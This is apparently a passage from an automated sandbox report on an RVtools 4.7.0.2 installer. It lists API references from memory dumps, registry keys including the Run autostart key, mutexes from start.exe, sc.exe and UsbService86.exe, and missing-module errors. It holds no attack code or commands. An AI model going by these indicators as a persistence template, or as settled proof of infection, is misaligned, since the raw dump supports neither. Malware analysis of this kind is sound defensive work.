(Indicator: "wsprintfW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "EnableMenuItem"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMenu"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "TrackPopupMenu"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "AppendMenuW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CreatePopupMenu"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CharPrevW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateFontIndirectW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "MoveFileW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "lstrcpynW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcatW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "IsTextUnicode"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CharNextExA"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GlobalReAlloc"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "lstrcpyW"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process2"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00001196.00000001.265194.005F0000.00000004.mdmp, 00000000-00001196.00000002.267111.005F0000.00000004.mdmp") Found reference to API (Indicator: "OpenService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ControlServiceEx"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ControlService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "OpenSCManager"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumServicesStatusEx"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumServicesStatus"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceStatusEx"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "StartService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "DeleteService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ChangeServiceConfig"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CreateService"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumDependentServices"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceObjectSecurity"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSecurityDescriptorToStringSecurityDescriptor"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptor"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "SetServiceObjectSecurity"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceConfig"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "RtlCreateServiceSid"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSidToStringSid"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CryptBinaryToStringW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "EnumServicesStatusExW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "ConvertSecurityDescriptorToStringSecurityDescriptorW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CreateServiceW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "CryptStringToBinaryW"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00007744.00000000.264689.56387000.00000004.mdmp, 00000000-00007744.00000001.266610.6718A000.00000002.mdmp, 00000000-00007744.00000002.268528.56387000.00000004.mdmp, 00000000-00007744.00000002.268528.87293000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp, 00000000-00007744.00000002.268528.87293000.00000002.mdmp")3e:T1195,"s SystemProductVersionWIX_DOWNGRADE_DETECTEDWIX_UPGRADE_DETECTEDSecureCustomPropertiesWIX_DOWNGRADE_DETECTED;WIX_UPGRADE_DETECTEDSOFTWARE\[BZ.COMPANYNAME]\MSI Wrapper\Installed\[BZ.WRAPPED_APPID]LogonUser[LogonUser]regUserNameUSERNAME[USERNAME]regDateDate[Date]regTimeTime[Time]regArgumentsWRAPPED_ARGUMENTS[WRAPPED_ARGUMENTS]ARPSYSTEMCOMPONENT4.7.0.2{C9EB4BFC-9BC2-4714-9E7A-27F85C81D694}" in Source: RVtools-4.7.0.2.msi "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: RVtools-4.7.0.2.msi "SOFTWARE\EXEMSI.COM\MSI Wrapper" in Source: RVtools-4.7.0.2.msi "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: RVtools-4.7.0.2.msi "Software\Microsoft\Windows\CurrentVersion" in Source: RVtools-4.7.0.2.msi "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesC" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesT" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatese" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "system\CurrentControlSet\Services\TcpIp\Parameters" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "SOFTWARE\Microsoft\MSDTC\MTxOCI" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "USER\S-1-5-18\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00001196.00000001.265194.00408000.00000002.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesW" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "Y\MACHINE\SOFTWARE\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "REGISTRY\USER\S-1-5-18\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0000032A-" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "Y\MACHINE\SOFTWARE\Classes\CLSID\{00" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp3f:T98c,Process start.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4460:304:WilStaging_02" Process start.exe created mutex with name "\Sessions\1\BaseNamedObjects\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process start.exe created mutex with name "Local\SM0:4460:304:WilStaging_02" Process start.exe created mutex with name "Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process start.exe created mutex with name "Local\SM0:4460:120:WilError_03" Process start.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process start.exe created mutex with name "Local\ZonesCacheCounterMutex" Process start.exe created mutex with name "SM0:4460:120:WilError_03" Process start.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4460:120:WilError_03" Process start.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4460:120:WilError_03" Process start.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process start.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process RVtools-4.7.0.2.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1196:168:WilStaging_02" Process RVtools-4.7.0.2.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1196:64:WilError_03" Process RVtools-4.7.0.2.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1196:64:WilError_03" Process RVtools-4.7.0.2.exe created mutex with name "Local\SM0:1196:168:WilStaging_02" Process RVtools-4.7.0.2.exe created mutex with name "SM0:1196:64:WilError_03" Process RVtools-4.7.0.2.exe created mutex with name "Local\SM0:1196:64:WilError_03" Process sc.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8164:168:WilStaging_02" Process sc.exe created mutex with name "Local\SM0:8164:168:WilStaging_02" Process sc.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7268:168:WilStaging_02" Process sc.exe created mutex with name "Local\SM0:7268:168:WilStaging_02" Process UsbService86.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7744:304:WilStaging_02" Process UsbService86.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03" Process UsbService86.exe created mutex with name "\BaseNamedObjects\RasPbFile"40:T10f3,"start.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "start.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "start.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "start.exe" failed to load missing module 